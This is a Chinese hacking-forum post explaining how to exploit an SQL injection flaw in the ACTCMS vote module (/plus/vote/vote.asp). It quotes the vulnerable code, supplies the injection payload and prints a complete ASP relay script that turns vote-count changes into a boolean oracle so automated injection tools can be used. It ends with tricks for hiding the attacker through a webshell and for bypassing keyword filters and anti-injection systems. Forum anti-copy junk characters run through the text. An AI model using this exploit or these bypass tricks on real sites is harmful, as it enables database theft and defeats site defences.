找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2054|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

5 [: b, L! w7 J% x/ k+ e看到ninty大牛的blog的一篇文章
  \: q4 o' b7 c; f' g链接标记[url]http://www.forjj.com/?action=show&id=80[/url]! ]% @* _, Q; {) W) p
关于actcms漏洞的利用  by 3x qq:381862589
1 a/ D. \9 n5 K9 y4 v6 t转载请注明以上
7 j- t, s( B# O: _0 r漏洞文件:
) {  j1 L% x  L/plus/vote/vote.asp
* ?% }+ n3 b/ C+ B+ q0 J5 M; \代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
6 E6 Q/ ?& j, n/ Y) I8 E5 u# R
% s- K6 B8 x; ~1 c" |2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ; e' W- ]9 }2 i/ B8 }+ J

- `1 ]$ ], j" i- H" H3    response.end    / y' g+ {8 B; n! _. z
3 k. a7 |- A& V0 T3 _0 K+ w  |! d
4    end if    6 C+ \! j. K7 j& I, v% e2 [) D9 Y
# {" I6 f' G8 \6 d! w8 v0 {$ i
5    for i=1 to request("voted").count   
+ _( L# |: R' Z! I
9 W7 H# \! x* b1 m+ @% K2 t$ J9 M6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    $ S/ l; v0 d& w) q5 b. v, s( c

! j9 m0 i. F9 q2 v3 D7    next   
) p! ?1 \. }* C$ D
  ?- K0 _8 ?/ C7 b# h: P8....   
: v! l7 a/ h  p7 ^$ K! ]3 Z2 q* O0 b  B+ c: [& p1 A1 C
9response.Redirect "index.asp?id="&id&""   
$ b' k! L% V5 n1 v, ?投票结束回跳转回index.asp这个投票结果页面& ]8 `  i9 R1 M! ~+ ]/ M! H
如果投票成功票数加1
' o* B5 T3 T2 j! d% ?: J& l            失败票数不变
8 R0 v7 w* |  y0 }" c; A如图:' z) P6 `) w# W4 \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- x% ~8 S: |6 D$ x
- j* S7 x; z& o; v2009-12-27 13:20
4 P6 C5 H* X" E' U2 M" s. s  h: [  I4 y5 R# V
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了# D' Y$ r  g9 ~# v
  i- k3 R* {  e
本帖隐藏的内容需要回复才可以浏览0 I7 H  B3 a0 {9 @% I
我们用注入中转来实现这个注入具体代码如下:( t: N2 p7 @3 Z' G, Z! ]7 x9 B& z
先用寂寞的刺猬大牛的注入中转生成jmget.asp8 z1 ^3 \5 P1 w6 u9 e  @
注入地址:http://localhost/actcms/plus/vote/vote.asp
% d6 ?3 {8 L0 b* `1 m0 z, u% b注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项7 j) v9 M6 m% x4 S

3 T0 Z& r9 _8 N9 H& [: }然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ; {# l. f' C5 r

, Z, k# k! v8 x0 k& |9 `02JmdcwName=request("jmdcw")
( M8 k) v& u3 k$ d) o+ j# U% A* N$ a% ?' T
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 7 C6 Y- |) `( r# F
  z$ u4 E! m. A3 X% t" O% |
04JmStr="id=1&voted=-1 or 1="&JmdcwName : m; X6 I. L) @3 X0 H

2 O$ B0 v) z. z1 Y0 A' d, u05JmStr=URLEncoding(JmStr)
) t# W) P+ o- }) h$ s' B; f) R4 N
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
' p* A4 E- y9 E1 T$ n: X" _9 m8 q/ \, l& G' n4 K, o4 ]; K! W
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 N4 i' |' [4 X  Y# W8 {& o+ c3 j6 e; ?5 Y) T
08testurl=testurl & "?" & JmStr 8 z5 m/ Y4 a" B. ~

8 U% z9 L" v% P* `& Z4 x$ y4 z7 [- `09JMUrl=JMUrl & "?" & JmStr 6 {/ o: ?+ {, _" d

. ]0 l! y' [' n) B7 t0 _8 G& x10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"9 L( A  `; u. @- c

: r- t; L9 B. c/ R2 B. |, r: ?6 U6 Q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"# G6 U! K! s9 C3 f

. b' ~& F! a0 F$ u" B& H12JmCok=replace(JmCok,chr(32),"%20")  
5 n5 B$ N5 k- r8 k# q
9 s4 e" E9 Y! B% S5 u. V13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" h& @6 I8 \$ {+ X; ~) w# M
) @9 I6 t; f8 X+ A) V! J14  3 x$ L7 g9 r" O6 T* y

2 T3 C2 i2 m: T9 A15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 5 I4 ^, W$ W9 t: d4 ]9 V

2 C5 k3 B8 [( S/ w3 _16  , r% y8 V' {% o5 b# C) P' L8 j

2 a' s/ V5 ?% n% T17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
  m1 N& ^6 ^. {; M( n0 ?
' I0 X. _4 T, _18response.write test1&""&test2&""
# Y2 a8 S( x( S+ n
- f- C9 q+ s$ p& z' X% y# M1 m19  
! X- V6 [" V: Q+ j- p# o' |
6 d4 n) J$ s8 J  R/ _3 ^$ U4 V6 U20if test1=test2 then '如前后记录相等,表示失败 / y# S% n) ^! [6 H) D: T; u& k
! n% v; e. M; l" l4 w
21  response.write "failed"" w0 \7 c( ]" U7 V: _. x
- H: W% N, ^# w6 ^( t
22else $ }9 E- _8 s' B' B& q/ F. S4 J5 F

/ b* H" `" t& X+ A) G23  response.write "succeed"1 x! L* Y# q& E7 K! r& P4 I2 s
; N) {: ?7 j. N7 m7 i. o; R0 _3 s
24end if  # I0 k6 \: [2 k9 C) @! R* v# V( q# G

4 m1 N6 W" G* Q$ R" X; ?  E25  6 {" t% @6 m4 _% e; e0 z

6 n. a, H6 q3 @$ R- l26response.write "by 3x"
) p0 B: b" Y! ]( [5 ]" ]& d8 O! A; N  d6 {
27  
) ~# a1 U$ u, f* F7 u- j( R8 K, a# W8 z0 L; o+ W
28  
7 w/ W2 Z- O2 x0 `8 i
: E# o- _3 k, b2 q/ [' M29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
' _: b& a, N* y. X- ^' M2 e9 _
: ?0 v9 M( j$ D( @30Dim Http ; l! v& X2 O; D7 G; M2 [( X* j& K
) R2 c- P% A( Z' b( L/ X" }7 x6 {
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; F/ d, E7 S6 p* N8 V$ w7 Y! b$ R* @8 A8 j( J
32With Http
8 h3 n) S) A, K- F# a& q6 }) A* s* N6 K- @! p% o
33  
, {- k4 C0 {6 L8 {1 P  P/ @) b$ T* [- O% }& h: W
34.Open "GET",PostUrl,False" L9 z4 t: B& ]

* s: |) P4 y, A6 p' {7 @35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# x: j3 ~5 {1 I7 K
1 y/ ]) ?8 M! o% K4 O0 k7 Q. C36.SetRequestHeader "Referer",PostRef
6 d0 d, y  _; M8 Q/ l% B  z7 S- y* f1 A1 L7 n2 Y
37.SetRequestHeader "Cookie",PostCok
/ k; e& a* E  ^1 D0 \0 T9 P
; U# ~! Z( c2 C" }2 {38.Send () 8 p! k% n# H* u2 T
+ ^* E$ A. U' B2 q
39PostData = .ResponseBody # [# B$ c1 i8 S  r# j( T
2 r' Y) Y0 C, z. s/ }
40End With8 r3 W6 K- [( f1 X* u

/ r% T: B' G; W5 A; F41Set Http = Nothing
4 D/ h# C/ J2 v
4 d6 F- ?; o" a/ Z4 d# F" x8 s% U42PostData =bytes2BSTR(PostData)
8 A2 I4 b  U$ n6 h2 w) p% n4 h: ?: _5 ], J6 q! Z3 \3 H
43End Function5 |2 ]2 O& r5 T- X1 E/ X( d

/ W2 _* M1 G  |9 O$ Y2 B+ ^44  5 A4 V% U, t* O7 p

/ X( `8 J( {6 T+ a45  5 ~+ {3 m; O" x& c2 Z, O: z2 T" }2 V. M

9 |3 M! ]% x) z. P# G5 m; g6 b% d46Function bytes2BSTR(vIn)
6 Y, p6 M3 \, ?; Q5 @' F) {5 J* F0 |; Z6 G
47Dim strReturn
, Q$ h- _0 [- }2 P0 w: X% q! c5 ^. d$ |
* q# f2 K4 l; c: g! X48Dim I, ThisCharCode, NextCharCode
* ?' L  U# i* T7 v- J5 C9 O  B: H* @1 i
49strReturn = ""2 h: O( s* j# A2 I- j
. r9 v$ V3 i; f' G, l& f
50For I = 1 To LenB(vIn) ! y8 V2 D5 A" K" L7 v
3 U7 b0 y: s! F  E2 _/ R4 j4 k
51ThisCharCode = AscB(MidB(vIn, I, 1))
1 Q; Y  [# A4 \8 @2 c
: B/ s. v! a; e( N) d52If ThisCharCode < &H80 Then' q; s6 Z+ K* L/ _7 A

6 U" n- S! d6 m, ]5 }+ s3 E9 ^53strReturn = strReturn & Chr(ThisCharCode)
$ [$ v+ S- o5 C( u7 {  _. d/ N% t
54Else
6 i- i9 [% U) f" _+ K8 e$ P( V# D3 k
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) + H' a5 G% |. F" f0 Z3 X
; L& P$ t4 F/ @+ f8 q
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
% E# D$ s6 a! H$ p  f) G# t  M0 y7 X$ @
57I = I + 1 , N0 N" A% U2 g
' ?" p$ H9 K7 {
58End If
, ~8 q: b- j- {- @* F# Z, }: @5 I9 ?/ {! w# d, h, F5 T
59Next
9 E9 m1 U4 T" @9 b: T* L3 V& E* G2 p( H& g0 m7 s9 E& @* X% F
60bytes2BSTR = strReturn
/ U$ {& g5 K7 M. R: _; G: y! ]' v/ v  P/ L
61End Function
- @8 H' {3 v& b; W/ J/ A) F5 Q5 S
62  
' j, m! w5 J- k
0 r; E# b1 X$ c$ ]/ w63Function URLEncoding(vstrin)  
+ b1 s/ O$ P0 [$ V
* w& {' K$ W7 ~6 j" t7 y64strReturn=""- G4 |9 ^6 y  ?7 g
5 j, |; F0 h6 W- h6 q  v
65Dim i 0 k) n4 P' D/ t% ]
2 q0 u1 r1 y. j& e( i! Q
66For i=1 To Len(vstrin) - U/ W. ^/ n1 m) h) T2 X. Q( _
: K* V7 w5 M  ^- u. x
67ThisChr=Mid(vstrin,i,1) % i7 o9 b1 [& W& G9 s0 L3 i1 \

2 O7 j3 \* y( S% S( U; v68if Abs(Asc(ThisChr))< &HFF Then
, v+ {* L8 ?: X6 y1 ~$ B4 H" j: H' D; N3 d; B/ I6 b
69strReturn=strReturn & ThisChr & M- e% O4 v$ p  M( R* @+ M: b" e

0 w' H# N7 L6 R) b2 I  F70Else
# O2 n& v4 y% s( a3 P( A# F0 u' w( F) d" v, t2 o
71InnerCode=Asc(ThisChr) : l+ C- ?1 v+ X% i
$ \2 Z9 V: N: p* h+ F& s
72If InnerCode<0 Then
/ e/ Q/ N+ A! i( B! ]
4 H( a2 ~  c2 f/ m' @3 ^73InnerCode=InnerCode + &H10000
) F) f  b8 b* C; Z$ D, J" J$ D) `/ |5 ^- c# m) E: Z7 u
74End If  E7 V9 P, x1 A/ N
. a1 e% l1 S/ f
75Hight1=(InnerCode And &HFF00) \&HFF $ F4 y: L- T, R; m# X* l  `
5 d0 |, P4 W0 V+ D3 o
76Low1=InnerCode And &HFF ! y# E' z$ a6 g- P
0 n  h! P5 c' ^" Q, J
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
6 o. l- W  K& t' N; I' c; J
" L) ?6 v9 P, B+ B78End if
- l( W6 k/ C/ }" q
0 K$ z( V7 w7 E4 f3 z79Next
7 L. k/ e, J4 H' F2 `, Q( J- g8 A0 }# S) p* M
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
+ p& C8 L: @* a8 z4 g" P
, R% `. F4 ]( ], p- M) T/ Y% F% A+ h81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
% t% `: N4 W, r: T8 `8 j& h4 O
. R8 c) {) m( y82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 8 ]: X4 H1 j6 L( ?5 v; r8 L
4 b) R$ Y( S- C+ t' A/ ?3 I
83URLEncoding=strReturn $ s8 f0 v) S. p' M
! g2 I8 S! L  ]0 Q
84End Function' Y( ^6 J; T5 H, F2 Y

5 ]* v8 F  w+ b# w% _  _) i  \85  
+ E* l. [' T1 g8 |8 g( ?1 Q! i- t7 P4 b2 e! V
86function getSt(body) " f# }9 M6 B4 K; ~% V

! x  v( c# Y1 e* o2 H- a87  startpot=instr(body,"投票人数:")+len("投票人数:")
; a0 g. b; g$ M2 A# g9 y+ K! z" m( v3 V+ p% T) M
88  endpot=instr(startpot,body," ")   j7 _& t$ |. [7 Q8 `2 \

, U2 ]( t' e$ s/ i. a+ Z" E* l89  getSt=mid(body,startpot,endpot-startpot)
5 P$ I7 x* _+ m3 B& T1 `5 O* }% N. P2 f/ ?  G) o/ M$ A
90end function ! P7 ]- D+ w. [1 t; |

) ^/ ^4 G3 b2 r7 O9 E% L) U3 G91%>6 N& D0 f# l# ]2 B/ j- @
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
' d) }" }4 E. u9 H3 m+ R. ^测试下效果:
& R+ n3 j7 G# P! U( t3 u投票成功:: E( v) w  {1 q
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
8 d6 J9 m; K* W  p/ F& R) B+ `. K
2009-12-27 13:290 X9 t7 \" J9 z/ ~% U, H
投票失败
7 G  i7 d5 m+ [7 h) dhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)* b- F; E9 ]% j- i4 M( ?+ z# M; C& B

& n9 Y- X3 ?+ C! M, z3 t2009-12-27 13:29: W( {2 O# ^! u# F1 E) e
-------------------------------------------------------------------------------
  U$ v- D5 X: w, C! S- g6 s( ~0 a再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以$ U6 c! _1 S! K% ~+ x1 ~. A& b  ]( U
很抱歉。。。只能用单线程工具去注入。。。。。
! r# \1 M' `* ]3 R6 {$ A所以失败。。。不好意思。。。& x2 Z. M5 R. H# X' c+ J
-------------------------------------------------------------------------------$ l& N6 w7 O6 g$ n
3 e, o- Q( f  G1 u
注入中转的一些其他应用
& ]- M( r2 U7 _! A其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
. V/ Q0 q/ h! P1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
1 j1 p$ K# y- X" c, a/ m  N3 X2.post注入转成get型的注入,方便我们使用工具来跑
5 P* k3 Z# r  f2 U: {3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")# u" g. x  ]7 ?0 W% e5 ^
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过1 Y' I6 k3 ^% i& B# C
1 X3 e* A  k# I# E9 B+ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表